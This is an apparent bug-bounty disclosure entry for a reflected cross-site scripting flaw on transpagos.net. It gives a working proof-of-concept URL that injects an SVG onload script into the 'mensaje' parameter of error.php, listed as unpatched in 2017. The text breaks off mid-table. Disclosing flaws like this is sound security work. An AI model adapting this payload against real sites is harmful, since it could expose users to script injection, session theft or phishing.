transpagos.net XSS vulnerability

Vulnerable URL: http://www.transpagos.net/prepagotp/error.php?mensaje=No+hay+sesion+previa%22%3E%3Csvg/onload=prompt/openbugbounty/%3E28/openbug%20bounty/%3E=12=si Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:|...